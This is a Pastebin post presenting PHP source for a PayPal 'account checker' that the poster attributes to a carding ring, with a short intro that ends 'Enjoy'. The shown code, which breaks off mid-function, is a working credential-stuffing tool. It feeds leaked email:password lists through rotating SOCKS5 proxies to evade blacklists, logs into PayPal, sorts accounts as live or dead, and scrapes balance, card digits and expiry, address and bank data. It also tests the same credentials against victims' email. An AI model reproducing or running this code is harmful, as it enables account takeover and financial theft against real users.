SHARE
TWEET

BlackMarket Paypal Account Checker -> Hex00010

Hex00010 Jun 27th, 2012 36,329 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. I know  releasing this script  will also give an advantage  to people  that  would use this script for bad intentions
  2.  
  3. But  the main reason why this script is getting leaked is so  the Government can see how exactly people are able to identify millions and millions of accounts  in a  split second  if its  valid or not
  4.  
  5.  
  6. This is the script  this  international  Blackmarket  Carding Scheme used to  Check  over  1000+  Paypal Logins.
  7.  
  8.  
  9. They Would have   E-Mails  dumps  such as
  10.  
  11. some-email@hotmail.com:Some-pass
  12. some-email@hotmail.com:Some-pass
  13. some-email@hotmail.com:Some-pass
  14. some-email@hotmail.com:Some-pass
  15.  
  16. It would  get loaded into the textarea field - you would hit submit -  Socks  jump in-   Test if valid or not  if valid   do..... else....
  17.  
  18. Anyways  Enjoy
  19.  
  20.  
  21.  
  22. Follow me on twitter @ -> https://twitter.com/#!/Hex000101
  23. -------------------------------------------------------------------------------------------------------
  24.  
  25.  
  26. index.php ------->
  27.  
  28. <?php
  29.  
  30. error_reporting(0);
  31. set_time_limit(0);
  32. session_save_path('cookie');
  33. ini_set('session.gc_probability', 1);
  34. $cookiejar = 'cookie/st'.rand(10000000000,99999999999).'123.txt';
  35. $cookiejar1 = 'cookie/st'.rand(10000000000,99999999999).'1234.txt';
  36. @fclose(fopen($cookiejar,'w'));
  37. @fclose(fopen($cookiejar1,'w'));
  38. global $cookiejar;
  39. global $cookiejar1;
  40.  
  41.  
  42. require_once('unf.class.php');
  43. ?>
  44. <html><head>
  45. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  46. <title>-=[ Paypal Checker ]=-</title>
  47. <script type="text/javascript">
  48. function timsock(){
  49.         var sockslist = window.document.frmMain.s.value;
  50.         var unf = sockslist.match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}((:)|(\s)+)\d{1,8}/g );
  51.         if(unf){
  52.                 var list="";
  53.                 for(var i=0;i<unf.length;i++){
  54.                         if(unf[i].match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}(\s)+\d{1,8}/g )){
  55.                                 unf[i]=unf[i].replace(/(\s)+/,':');
  56.                         }
  57.                         list=list+unf[i]+"\n";
  58.                 }
  59.                 window.document.frmMain.s.value=list;
  60.         }
  61.         else{
  62.                 window.document.frmMain.s.value="Error";
  63.                 window.location = "#";
  64.         }
  65. }
  66. </script>
  67. <link rel="stylesheet" type="text/css" href="../../../css/default1.css">
  68. </head>
  69. <body>
  70. <center>
  71. <form name="frmMain" id="frmMain" method="post" action="">
  72.         <div style="width:100%">
  73.                 <div style="width:90%">
  74.  
  75.                         <div id="mp" style="width:50%;float:left">
  76.                                 <b>List Mail & Password:</b>
  77.                         </div>
  78.                         <div id="mp" style="width:50%;float:left">
  79.                                 <b>List Socks5</b><br />
  80.                                 (Auto Check Blacklist, Just Add List Socks 5 But Recommend Socks Fresh/Private):
  81.                         </div>
  82.                         <div id="mp" style="clear:both;width:50%;float:left">
  83.                                 <textarea rows="10" style="width:100%" name="mp" value=""><?php echo $_POST['mp'];?></textarea>
  84.                         </div>
  85.                         <div id="s" style="width:50%;float:left">
  86.                                 <textarea rows="10" style="width:100%" name="s" value=""><?php echo $_POST['s'];?></textarea>
  87.                         </div>
  88.                 </div>
  89.                 <div style="width:90%;clear:both">
  90.                         <b>Delim : </b> <input type="text" name="split" size= 4 value="<?php if($_POST['split']){echo $_POST['split'];}else{ echo '|';}?>"/>
  91.                         <b>Mail : </b> <input type="text" name="mail" size= 4 value="<?php if($_POST['mail']){echo $_POST['mail'];}else{echo '1';}?>" />
  92.                         <b>Password : </b> <input type="text" name="pass" size= 4 value="<?php if($_POST['mail']){echo $_POST['pass'];}else{echo '2';}?>" />
  93.                         <b>Timeout PP : </b> <select name="paypaltimeout" ><option value="10"  >10s</option><option value="9"  >9s</option><option value="8" selected >8s</option><option value="7"  >7s</option><option value="6"  >6s</option><option value="5"  >5s</option><option value="4"  >4s</option><option value="3"  >3s</option><option value="2"  >2s</option><option value="1"  >1s</option></select>
  94.                         <br><input type=checkbox name=checkmail checked> Check Email <input type=checkbox name=getinfo checked> Get Card <input type=checkbox name=getbank checked> Get Bank<br>
  95.             <b>Change Sock if DIE : </b><input type="text" name="diechange" size= 4 value="<?php if($_POST['diechange']){echo $_POST['diechange'];}else{echo '10';}?>" /> <br><br>
  96.                         <input type="submit" name="submit" value="      Submit !!!      " onClick="timsock();"/>
  97.                 </div>
  98.                 <br /><br /><br />
  99.    </div>
  100. </form>
  101. </center>
  102. </body>
  103. </html>
  104. <?php
  105. if(isset($_POST['mp']) && isset($_POST['s']) && isset($_POST['pass']) && isset($_POST['paypaltimeout']) && isset($_POST['diechange'])){
  106.         $slist = trim($_POST['s']);
  107.         $mlist = trim($_POST['mp']);
  108.         $pp_timeout = trim($_POST['paypaltimeout']);
  109.         $slist = str_replace(array("\\\"","\\'"),array("\"","'"),$slist);
  110.         $slist = str_replace("\n\n","\n",$slist);
  111.         $mlist = str_replace(array("\\\"","\\'"),array("\"","'"),$mlist);
  112.         $mlist = str_replace("\n\n","\n",$mlist);
  113.         $slist = explode("\n", $slist);
  114.         $mlist = explode("\n", $mlist);
  115.         $email = trim($_POST['mail']);
  116.         $splits = $_POST['split'];
  117.         $pass = trim($_POST['pass']);
  118.         $diechange= (int)$_POST['diechange'];
  119.         $tsdie = "";
  120.         $tslimit = "";
  121.         $tslive = "";
  122.         $tserror = "";
  123.         $sldie = 0;
  124.         $sllimit = 0;
  125.         $sllive = 0;
  126.         $slerror = 0;
  127.  
  128.         if(!$pass){
  129.                                 die("<br />Please enter complete information.<br /><br />");
  130.         }
  131.                
  132.         $unfaceguymail = count($mlist);
  133.         $unfaceguysock=count($slist);
  134.         /*if($unfaceguymail > 25)
  135.         {
  136.                 die("<br /><b>Demo Version - Check 25 mails / 1 turn <br />
  137.                         Contact Y!M : vsb_unface for FULL VERSION !!!</b>
  138.                         <br />");
  139.         }*/
  140.         $unf= new Paypal;
  141.         $j = 0;
  142.         $dem_sl = 0;
  143.         $maxs = 0;
  144.  
  145.         $unfaceguy=0;
  146.         $unfaceguycount=0;
  147.         $markz=$unfaceguymail-1;
  148.         for($i=0;$i<$unfaceguysock;$i++){
  149.  
  150.                 $maxs = $maxs + 1;
  151.                 $_sockcheckto = $slist[$i];
  152.                 $_checkclear = $unf->CheckSock($slist[$i], $cookiejar, $pp_timeout);
  153.                 if ($_checkclear == "2"){
  154.                         echo " >>>>>USING $slist[$i]  <<<<< <br>";
  155.  
  156.                         for($j=$unfaceguy;$j<100;$j++) 
  157.                         {
  158.                                 //$unfaceguycount++;
  159.  
  160.                         $_mp = explode($splits, $mlist[$j]);
  161.                         $_mail = trim($_mp[($email - 1)]);
  162.                         $_pass = trim($_mp[($pass - 1)]);      
  163.                         if(strlen($_pass)>7){
  164.                                 $paypal = $unf->isLogin($_mail, $_pass, $slist[$i],$splits, $cookiejar);
  165.                                 $STT = $j + 1;
  166.                                 if($paypal == "SOCKTIME"){
  167.                                         echo $slist[$i]." <font color=orange> <<< Time Out</font><br>";
  168.                                         //$i++;
  169.                                         break;
  170.                                 }
  171.                                 elseif($paypal == "SOCKBL"){
  172.                                         echo $slist[$i]." <font color=red> <<< BlackList</font><br>";
  173.                                         //$i++;
  174.                                         break;
  175.                                 }
  176.                                 elseif($paypal == "LIMITED"){
  177.                                         echo "$STT. <b><font color=orange>LIMITED =></b></font> $_mail | $_pass | $slist[$i]<br>";
  178.                                         $tslimit .= "<b><font color=orange>LIMITED =></b></font> $_mail | $_pass | $slist[$i]<br>";
  179.                                         $sllimit++;
  180.                                         //$i++;
  181.                                         $unfaceguy=$j+1;
  182.                                         break;
  183.                                 }
  184.                                 elseif($paypal == "SECURITY"){
  185.                                         echo "$STT. <b><font color=purple>SECURITY MEASURES =></b></font> $_mail | $_pass | $slist[$i]<br>";
  186.                                         $tslimit .= "<b><font color=purple>SECURITY MEASURES =></b></font> $_mail | $_pass | $slist[$i]<br>";
  187.                                         $sllimit++;
  188.                                         //$i++;
  189.                                         $unfaceguy=$j+1;
  190.                                         break;                                 
  191.                                 }
  192.                                 elseif($paypal == "UPDATE"){
  193.                                         echo "$STT. <b><font color=purple>UPDATE ACCOUNT =></b></font> $_mail | $_pass | $slist[$i]<br>";
  194.                                         $tserror .= "<b><font color=purple>UPDATE ACCOUNT =></b></font> $_mail | $_pass | $slist[$i]<br>";
  195.                                         $slerror++;
  196.                                         //$i++;
  197.                                         $unfaceguy=$j+1;
  198.                                         break;                                 
  199.                                 }
  200.                                 elseif($paypal == "PASSWORD"){
  201.                                         echo "$STT. <b><font color=aqua>CREATE PASSWORD =></b></font> $_mail | $_pass | $slist[$i]<br>";
  202.                                         $tserror .= "<b><font color=aqua>CREATE PASSWORD =></b></font> $_mail | $_pass | $slist[$i]<br>";
  203.                                         $slerror++;
  204.                                         //$i++;
  205.                                         $unfaceguy=$j+1;
  206.                                         break;                                 
  207.                                 }
  208.                                 elseif($paypal == "DIE"){
  209.                                         echo "$STT. <b><font color=red>DIE =></font></b> $_mail | $_pass | $_slist[$i]<br>";
  210.                                         $tsdie .= "<b><font color=red>DIE =></font></b> $_mail | $_pass | $_slist[$i]<br>";
  211.                                         $dem_sl = $dem_sl + 1;
  212.                                         if($dem_sl == $diechange){
  213.                                                 //$i = $i + 1;
  214.                                                 $dem_sl = 0;
  215.                                                 $unfaceguy=$j+1;
  216.                                                 break;
  217.                                         }
  218.                                         //$i++;
  219.                                         //$unfaceguy=$j+1;
  220.                                         $sldie++;
  221.                                         //break;
  222.  
  223.                                 }
  224.                                 elseif($paypal == "ERROR"){
  225.                                         echo "$STT. <b><font color=aqua>ERROR =></font></b> $_mail | $_pass | $_slist[$i]<br>";
  226.                                         $tserror .= "<b><font color=aqua>ERROR =></font></b> $_mail | $_pass | $_slist[$i]<br>";
  227.                                         $dem_sl = $dem_sl + 1;
  228.                                         if($dem_sl == $diechange){
  229.                                                 //$i = $i + 1;
  230.                                                 $dem_sl = 0;
  231.                                                 $unfaceguy=$j+1;
  232.                                                 break;
  233.                                         }
  234.                                        
  235.                                         $slerror++;
  236.                                 }
  237.                                 else{
  238.                                         echo "$STT. <b><font color=green>Live |</b></font> $paypal";
  239.                                         $tslive .= "<b><font color=green>Live |</b></font> $paypal";
  240.                                         $sllive++;
  241.                                         //$i++;
  242.                                         $unfaceguy=$j+1;
  243.                                         break; 
  244.                                 }
  245.                         }
  246.                                 if($j==$markz)
  247.                                 {
  248.                                         $i=$i+10000;   
  249.                                 }
  250.                         }
  251.                         //$j = $j + 1;
  252.  
  253.                 }
  254.                 elseif($_checkclear == "1"){
  255.                         echo $slist[$i]." <font color=red> <<< Blacklist PayPal</font><br>";
  256.                 }elseif($_checkclear == "3"){
  257.                         echo $slist[$i]." <font color=orange> <<< Time Out</font><br>";
  258.                 }
  259.                 flush();
  260.                 sleep(1);
  261.         }
  262.         if($maxs > count($slist)){
  263.                 echo "<font color=aqua><b>Over Sock !!!</b></font>";
  264.         }else{
  265.                 echo "<font color=aqua><b>Tool use to sock:".$_sockcheckto."</b></font>";
  266.         }
  267.         unlink($cookiejar);
  268.         $totalchecked = 0;
  269.         $totalchecked = $sllive + $sldie + $slerror + $sllimit;
  270.         echo "<hr>";
  271.         echo "<center><font size=5 color=aqua>Total : <font size=6 color=red>".count($mlist)."</font> | Total Checked : <font size=6 color=red>".$totalchecked."</font> | Live : <font color=red size=6>".$sllive."</font> | Limit : <font color=red size=6>".$sllimit."</font> | Die : <font color=red size=6>".$sldie."</font> | Error : <font color=red size=6>".$slerror."</font></font></center><hr>";
  272.         echo $tslive;
  273.         echo "<hr>";
  274.         echo $tslimit;
  275.         echo "<hr>";
  276.         echo $tsdie;
  277.         echo "<hr>";
  278.         echo $tserror;
  279.        
  280. }
  281. ?>
  282. -------------------------------------------------------------------------------------------------------
  283.  
  284.  
  285.  
  286.  
  287.  
  288.  
  289.  
  290.  
  291.  
  292. MAIN Code  -
  293.  
  294.  
  295. -------------------------------------------------------------------------------------------------------
  296.  
  297.  
  298.  
  299. <?php
  300.  
  301. $cookie_checkmail = 'cookie/mail'.rand(10000000000,99999999999).'123.txt';
  302. fclose(fopen($cookie_checkmail,'w'));
  303. global $cookie_checkmail;
  304.  
  305.  
  306. class analytics_api {
  307.         public $auth;
  308.         public $accounts;
  309.         public function login($email, $password, $_sock) {             
  310.                 $curl = $this->curl_init("https://www.google.com/accounts/ClientLogin");
  311.                 curl_setopt($curl, CURLOPT_POST, true);
  312.                
  313.                 $data = array(
  314.                         'accountType' => 'GOOGLE',
  315.                         'Email' => $email,
  316.                         'Passwd' => $password,
  317.                         'service' => 'analytics',
  318.                         'source' => ''
  319.                 );
  320.                         if($_sock){
  321.                         curl_setopt($curl, CURLOPT_PROXY, $_sock);
  322.                         curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  323.                         }
  324.                 curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
  325.                 $output = curl_exec($curl);
  326.                
  327.                 $info = curl_getinfo($curl);
  328.                 curl_close($curl);
  329.                
  330.                 $this->auth = '';
  331.                 if($info['http_code'] == 200) {
  332.                         preg_match('/Auth=(.*)/', $output, $matches);
  333.                         if(isset($matches[1])) {
  334.                                 $this->auth = $matches[1];
  335.                         }
  336.                 }
  337.                
  338.                 return $this->auth != '';
  339.        
  340.         }
  341.         protected function curl_init($url) {           
  342.                 $curl = curl_init();
  343.                 curl_setopt($curl, CURLOPT_URL, $url);
  344.                 curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  345.  
  346.                 if($this->auth) {
  347.                         curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: GoogleLogin auth=$this->auth"));
  348.                 }
  349.         curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
  350.                 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  351.                                 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  352.  
  353.                 return $curl;
  354.                
  355.         }
  356.  
  357. }
  358.  
  359. class Paypal{
  360.        
  361.        
  362. function _curl($url,$post="",$usecookie = false) {  
  363.         $ch = curl_init();
  364.         if($post) {
  365.                 curl_setopt($ch, CURLOPT_POST ,1);
  366.                 curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  367.         }
  368.         curl_setopt($ch, CURLOPT_URL, $url);
  369.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  370.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6");
  371.         if ($usecookie) {
  372.                 curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
  373.                 curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
  374.         }
  375.         curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  376.         $result=curl_exec ($ch);
  377.         curl_close ($ch);
  378.         return $result;
  379. }
  380.  
  381. function curl_get($url, $postfields=false, $_sock=false,$cookiejar=false, $ref, $timeout=false, $headers = false) {
  382.         static $curl;
  383.         if(empty($curl)) {
  384.                 $curl = curl_init();
  385.                 curl_setopt($curl, CURLOPT_COOKIEJAR,  $cookiejar);
  386.                 curl_setopt($curl, CURLOPT_COOKIEFILE, $cookiejar);
  387.                 curl_setopt($curl, CURLOPT_HEADER, false);
  388.                 curl_setopt($curl, CURLOPT_USERAGENT, $this->get_agent(rand(0,44)));
  389.                 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  390.                 curl_setopt($curl, CURLOPT_MAXREDIRS, 10);
  391.                 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  392.                 //curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 2);
  393.                 //curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, true);
  394.                 //curl_setopt($curl, CURLOPT_CAINFO, getcwd() . "/test/VeriSignClass3PublicPrimaryCertificationAuthority-G5.crt");
  395.         }
  396.         if($headers){
  397.                 curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
  398.         }
  399.         if($timeout){
  400.                 curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout);
  401.                 curl_setopt($curl, CURLOPT_TIMEOUT,$timeout);
  402.         }
  403.         if($_sock){
  404.                         curl_setopt($curl, CURLOPT_PROXY, $_sock);
  405.                         curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  406.         }
  407.         curl_setopt($curl, CURLOPT_URL, $url);
  408.         if(stripos($url, 'https')!==false) {
  409.                 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
  410.                 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  411.         }
  412.         if ($postfields) {
  413.                 curl_setopt($curl, CURLOPT_POST, 1);   
  414.                 curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
  415.         }
  416.         if ($ref){  
  417.                         curl_setopt($curl, CURLOPT_REFERER,$ref);
  418.         }
  419.         $response = curl_exec($curl);
  420.        
  421.         return $response;
  422.         //curl_close ($curl);
  423.         @unlink($cookiejar);
  424. }
  425.  
  426.  
  427. ########################################
  428. function curl_get1($url, $postfields=false, $_sock=false,$cookiejar=false, $ref, $timeout=false, $headers = false) {
  429.         //static $curl;
  430.         if(empty($curl)) {
  431.                 $curl = curl_init();
  432.                 curl_setopt($curl, CURLOPT_COOKIEJAR,  $cookiejar1);
  433.                 curl_setopt($curl, CURLOPT_COOKIEFILE, $cookiejar1);
  434.                 curl_setopt($curl, CURLOPT_HEADER, false);
  435.                 curl_setopt($curl, CURLOPT_USERAGENT, $this->get_agent(rand(0,44)));
  436.                 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  437.                 curl_setopt($curl, CURLOPT_MAXREDIRS, 10);
  438.                 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
  439.                 //curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 2);
  440.                 //curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, true);
  441.                 //curl_setopt($curl, CURLOPT_CAINFO, getcwd() . "/test/VeriSignClass3PublicPrimaryCertificationAuthority-G5.crt");
  442.         }
  443.         if($headers){
  444.                 curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
  445.         }
  446.         if($timeout){
  447.                 curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout);
  448.                 curl_setopt($curl, CURLOPT_TIMEOUT,$timeout);
  449.         }
  450.         if($_sock){
  451.                         curl_setopt($curl, CURLOPT_PROXY, $_sock);
  452.                         curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  453.         }
  454.         curl_setopt($curl, CURLOPT_URL, $url);
  455.         if(stripos($url, 'https')!==false) {
  456.                 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
  457.                 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  458.         }
  459.         if ($postfields) {
  460.                 curl_setopt($curl, CURLOPT_POST, 1);   
  461.                 curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
  462.         }
  463.         if ($ref){  
  464.                         curl_setopt($curl, CURLOPT_REFERER,$ref);
  465.         }
  466.         $response = curl_exec($curl);
  467.        
  468.         return $response;
  469.         //curl_close ($curl);
  470.         @unlink($cookiejar1);
  471. }
  472.  
  473.  
  474. #######################################
  475. // testing
  476. function getbetween($content,$start,$end){
  477.                 $r = explode($start, $content);
  478.                 if (isset($r[1])){
  479.                         $r = explode($end, $r[1]);
  480.                         if ($r[0] == '') return 'Unknown';
  481.                         return $r[0];
  482.                 }
  483.                 return 'Unknown';
  484.         }
  485.  
  486.         function inStr($s,$as)
  487.         {
  488.                 $s=strtoupper($s);
  489.                 if(!is_array($as)) $as=array($as);
  490.                 for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  491.                 return false;
  492.         }
  493. ###############
  494. function CheckSock($sock,$cookie, $timeout){
  495.         //$site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal@dreamhost.com&item_name=Web+Hosting+Donation&item_number=donation_11557&amount=20.00";
  496.         $site="http://megaupload.com/?c=premium";
  497.         $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal@megaupload.com&item_name=Lifetime+premium+membership+for+Megaupload.com&item_number=premium+(28470707127)&amount=199.99&no_note=1&lc=US&no_shipping=1&currency_code=USD";
  498.         $s = $this->curl_get1($site1,false,$sock,false, $timeout );
  499.         $currentpage = $this->getbetween($s,'s.prop1="','";');
  500.         if ((strpos($currentpage,"Billing") !== false) || (stristr($s,"credit card"))){
  501.                 if((stristr($s,"Choose a PayPal Password")) || (stristr($s,"fieldrow password-create")) || (stristr($s,"Create PayPal Password")) || (preg_match('/Re-enter password/', $s))){
  502.                         return "1";
  503.                 }
  504.                 else{
  505.                         return "2";
  506.                 }
  507.         }
  508.         else{
  509.                 return "3";
  510.         }
  511. }
  512. function CheckSock3($sock,$cookie, $timeout,$cookiejar ){
  513.         //$site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal@dreamhost.com&item_name=Web+Hosting+Donation&item_number=donation_11557&amount=20.00";
  514.         $site="http://megaupload.com/?c=premium";
  515.         $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal@megaupload.com&item_name=Lifetime+premium+membership+for+Megaupload.com&item_number=premium+(28470707127)&amount=199.99&no_note=1&lc=US&no_shipping=1&currency_code=USD";
  516.         $s = $this->curl_get1($site1,false,$sock,site, $timeout,$cookiejar );
  517.                 if(!$s) return 3;
  518.                 elseif($this->inStr($s, 's.pageName="MF:1X:Button:Entry:SignUp";')) return 1;
  519.                 elseif($this->inStr($s, 's.pageName="MF:1X:Button:Entry:Billing";')) return 2;
  520.                 else return 3;
  521.        
  522. }
  523.  
  524. function CheckSock1($sock,$cookie, $timeout){
  525.         $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal@dreamhost.com&item_name=Web+Hosting+Donation&item_number=donation_11557&amount=20.00";
  526.         //$site="http://megaupload.com/?c=premium";
  527.         //$site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal@megaupload.com&item_name=Lifetime+premium+membership+for+Megaupload.com&item_number=premium+(28470707127)&amount=199.99&no_note=1&lc=US&no_shipping=1&currency_code=USD";
  528.         $s = $this->curl_get($site1,false,$sock,false, $timeout);
  529.         $currentpage = $this->getbetween($s,'s.prop1="','";');
  530.         if ((strpos($currentpage,"Billing") !== false) || (stristr($s,"credit card"))){
  531.                 if((preg_match("/Choose a PayPal Password/", $s)) || (preg_match("/fieldrow password-create/", $s))|| (preg_match("/Create PayPal Password/", $s))){
  532.                         return "1";
  533.                 }
  534.                 else{
  535.                         return "2";
  536.                 }
  537.         }
  538.         else{
  539.                 return "3";
  540.         }
  541. }
  542.  
  543.  
  544. function isLogin($email, $password, $sock,$split,$cookiejar) {
  545.         $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run";
  546.         $s = $this->curl_get($site, false, $sock, "http://www.paypal.com" );
  547.         $post = $this->getHiddenFormInputs($s, 'login_form');
  548.         if (!$post){
  549.                 return "SOCKTIME";
  550.         }
  551.         $post['login_email'] = $email;
  552.         $post['login_password'] = $password;
  553.         $post = $this->serializePostFields($post);
  554.         $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit";
  555.         $s = $this->curl_get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit', $post, $sock, 'http://www.paypal.com');
  556.        
  557.         if($s){
  558.                 if(preg_match("/Security Measures/", $s)){
  559.                         return "SECURITY";
  560.                 }
  561.                 elseif(preg_match('/more than 5 seconds/', $s)){
  562.                         $_abc = $this->getStr($s,'more than 5 seconds, <a href="', '">click here');
  563.                         $s = $this->curl_get($_abc, false, $sock, 'https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit');
  564.                 }
  565.                 elseif(preg_match("/Please create a new password for your account/", $s)){
  566.                         return "PASSWORD";
  567.                 }
  568.                 elseif(preg_match("/Update account information/", $s)){
  569.                         return "UPDATE";
  570.                 }
  571.                 else{
  572.                         $_abc = "https://www.paypal.com/bh/cgi-bin/webscr?cmd=_account&nav=0.0";
  573.                         $s = $this->curl_get($_abc, false, $sock, 'https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit');
  574.                 }
  575.         }
  576.         else{
  577.                 return "SOCKTIME";
  578.         }
  579.  
  580.         if($s){
  581.                 $FAIL = $this->getStr($s, 's.prop15="','"');
  582.                 $NOW = $this->getStr($s,'s.prop1="','"');
  583.                 $TYPE = $this->getStr($s,'s.prop7="','"');
  584.                 $STATUS = $this->getStr($s,'s.prop8="','"');
  585.                 $LIMIT = $this->getStr($s,'s.prop9="','"');
  586.                 $BALANCE = $this->getStr($s,'<span class="balance">', '</span>');
  587.                 $BALANCE = str_replace('<strong>',"",$BALANCE);
  588.                 $BALANCE = str_replace('</strong>',"",$BALANCE);
  589.                 $LASTLOGIN = $this->getStr($s,'<div class="small secondary">', '</div>');
  590.                
  591.                 if($LIMIT == "Unrestricted"){
  592.                         $LIMIT = "Unlimit";
  593.                 }
  594.                 else{
  595.                         $LIMIT = "LIMITED";
  596.                 }
  597.                
  598.                 if(!stristr($TYPE, "Unknown") or !stristr($STATUS, "Unknown")){
  599.                         if($LIMIT == "Unlimit"){
  600.                                 $result = " $email | $password | <font color=\"yellow\"><b>$TYPE</b></font> | <font color=\"green\"><b>$STATUS</b></font> | <b>$BALANCE</b> | $LASTLOGIN ";
  601.                                 if($_POST['checkmail'] == true){
  602.                                         $mailchecked = $this->getmail($split, $email, $password, $sock);
  603.                                         $result .= "| $mailchecked ";
  604.                                 }
  605.                                 //$result .= " |";
  606.                                 if($_POST['getinfo']==true){
  607.                                         $info = $this->GETINFO($sock,$cookiejar);
  608.                                        
  609.                                         //if($info == false){
  610.                                         //      $info = "<font color=red>NOT CARD</font>";
  611.                                         //}
  612.                                         $result .= "| $info ";
  613.                                 }
  614.                                 if($_POST['getbank']==true){
  615.                                         $info1 = $this->GETBANK($sock,$cookiejar);
  616.  
  617.                                         $result .= "| <b>$info1</b> ";
  618.                                 }
  619.                                
  620.                                 $result.="| $sock<br /> ";
  621.                                 return $result;
  622.                         }
  623.                         else{
  624.                                 return "LIMITED";
  625.                         }
  626.                 }
  627.                 elseif(stristr($NOW, "wax_error")){
  628.                         return "LIMITED";
  629.                 }
  630.                 elseif(stristr($NOW, "SecurityChallenge")){
  631.                         return "SOCKBL";
  632.                 }
  633.                 elseif(stristr($NOW,"home") or stristr($NOW,"login")){
  634.                         return "DIE";
  635.                 }
  636.                 elseif(stristr($FAIL, "login_email")){
  637.                         return "ERROR";
  638.                 }
  639.                 else{
  640.                         return "ERROR";
  641.                 }      
  642.         }
  643.         else{
  644.                 return "SOCKTIME";
  645.         }
  646. }
  647.  
  648. function GETINFO($sock,$cookiejar) {
  649.         $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2";
  650.         $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
  651.         $checkcard = strpos($response, "Last 4 digits on card");
  652.         $checkcard1 = strpos($response, "Last four digits on card");
  653.         preg_match_all('/s.pageName="(.*?)";/is',$response,$pageName);
  654.                         if(($this->inStr($pageName[1][0], "F: Add CC")) || ($this->inStr($pageName[1][0], "Add"))) return "<font color=red>NOT CARD</font>";
  655.                         elseif(($this->inStr($pageName[1][0], "Profile")) || ($checkcard) || ($checkcard1) ){
  656.         //if((!$checkcard) && (!$checkcard1))
  657.         //{
  658.         //      return false;
  659.         //}else{
  660.                 $temp = $this->getStr1($response,'.gif" border="0" alt="','">');
  661.                 $_type = $temp[0];
  662.                 $temp = $this->getStr1($temp[1],'<td>','</td>');
  663.                 $_4digit = $temp[0];
  664.                 $temp = $this->getStr1($temp[1],'<td>','</td>');
  665.                 $_exp = $temp[0];
  666.                 //$infocard = "$_type $_4digit $_exp | ";
  667.                 $infocard = "<font color=yellow>$_type $_4digit $_exp</font> | ";
  668.         }
  669.  
  670.         $site = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3";
  671.         $response = $this->curl_get($site, false, $sock,"http://www.paypal.com");
  672.         $info = $this->getStr($response,'<span class="emphasis">','</span>');
  673.         $info = str_replace("<br>"," | ",$info);
  674.        
  675.         $info = $infocard.$info;
  676.        
  677.         //$sitemail = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-email";
  678.         //$s = $this->curl_get($sitemail,false,$sock,"http://www.paypal.com");
  679.         //$mail = $this->getStr($s,'emailList-','"');
  680.        
  681.         /*$sitephone = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-phone";
  682.         $s = $this->curl_get($sitephone,false,$sock,"http://www.paypal.com");
  683.         $phone = $this->getStr($this->getStr($s,'checked name="phone" value="','</td>'),'">','</label>');      
  684.        
  685.         $info = $info.$phone.' | '.$mail;*/
  686.         return $info;
  687. }
  688.         function infocard($info)
  689.         {
  690.                 if($info)
  691.                 {
  692.                         preg_match_all('/s.pageName="(.*?)";/is',$info,$pageName);
  693.                         if($this->inStr($pageName[1][0], "F: Add CC")) return "<font color='red'>Not Card</font>";
  694.                         elseif($this->inStr($pageName[1][0], "Profile"))
  695.                         {
  696.                                 preg_match_all('/<table class="basic fullTable">(.*?)<\/table>/is',$info,$card);
  697.                                 preg_match_all('/<img src="(.*?)<dl>/is',$card[1][0],$sk);
